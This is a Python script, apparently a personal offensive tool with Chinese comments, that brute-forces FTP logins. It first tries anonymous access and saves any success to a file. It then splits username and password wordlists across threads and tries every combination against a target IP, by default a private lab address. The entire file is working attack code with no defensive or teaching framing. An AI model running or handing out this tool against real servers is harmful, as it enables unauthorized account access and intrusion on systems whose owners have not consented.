import ftplib
import optparse
import threading
# 使用匿名用户进行登录,如果登录成功则写入FtpSuccess.txt文件
def CheckAnonymous(FTPserver):
try:
print('[-] checking user [anonymous] and password [anonymous]')
f = ftplib.FTP(FTPserver) # 对主机发起连接,端口默认
# 对指定的FTPserver指定的端口发起连接,设定timeout
f.connect(FTPserver, 21, timeout=10)
f.login() # 用户名匿名,密码匿名
print('\n[+] success!!!')
print('\n[+] Username:anonymous')
print('\n[+] Password:anonymous')
rFile = open('./FtpSuccess.txt', 'w+')
rFile.write('success!!!username:{},password:{}'.format('anonymous', 'anonymous'))
rFile.close()
f.quit()
except ftplib.all_errors:
pass
class ThreadWork(threading.Thread):
def __init__(self, ip, usernameBlock, passwordBlock, port):
threading.Thread.__init__(self)
self.ip = ip
self.port = int(port)
self.usernameBlock = usernameBlock
self.passwordBlock = passwordBlock
def start(self):
for a in self.usernameBlock:
for b in self.passwordBlock:
self.run(a, b)
def run(self, username, password):
try:
print('[-] checking user[' + username + '],password[' + password + ']')
f = ftplib.FTP(self.ip)
f.connect(self.ip, self.port, timeout=15)
f.login(username, password)
f.quit()
print('\n[+] success!!!')
print('\n[+] Username:{}'.format(username))
print('\n[+] Password:{}'.format(password))
except ftplib.error_perm:
pass
def partition(list, num):
step = int(len(list) / num)
if step == 0:
step = num
# 设列表长为2000,线程为10,那么步长为200
partList = [list[i:i + step] for i in range(0, len(list), step)]
return partList
def FTPEXP(ip, usernameFile, passwordFile, threadNumber, ftpPort):
print('=' * 10 + '破解信息' + '=' * 10)
print('IP:' + ip)
print('UserFile:' + usernameFile)
print('PwsdFile:' + passwordFile)
print('Thread:' + str(threadNumber))
print('Port:' + ftpPort)
print('=' * 26)
# 进行匿名检查
CheckAnonymous(ip)
userlist = [line.strip() for line in open(usernameFile)]
blockuserlist = partition(userlist, threadNumber)
pwsdlist = [line.strip() for line in open(passwordFile)]
blockpwsdlist = partition(pwsdlist, threadNumber)
threads = []
for x in blockuserlist:
for y in blockpwsdlist:
work = ThreadWork(ip, x, y, ftpPort)
# 创建线程
workThread = threading.Thread(target=work.start)
# 在线程列表中追歼该线程
threads.append(workThread)
for t in threads: t.start()
for t in threads: t.join()
if __name__ == '__main__':
print('##########################')
print('# ganyu #')
print('# ftp exp #')
print('##########################')
parser = optparse.OptionParser(version="%prog 1.0")
parser.add_option('-i', '--ip', dest='targetIP', default='192.168.200.132', type='string', help='FTP target IP')
parser.add_option('-t', '--threads', dest='threadNum', default=10, type='int', help='default=10')
parser.add_option('-u', '--username', dest='userName', default='./users.txt', type='string', help='users file')
parser.add_option('-p', '--password', dest='passWord', default='./passwds.txt', type='string', help='passwds file')
parser.add_option('-P', '--port', dest='port', default='21', type='string', help='FTP port')
(options, args) = parser.parse_args()
try:FTPEXP(options.targetIP, options.userName, options.passWord, options.threadNum, options.port)
except:exit(1)
|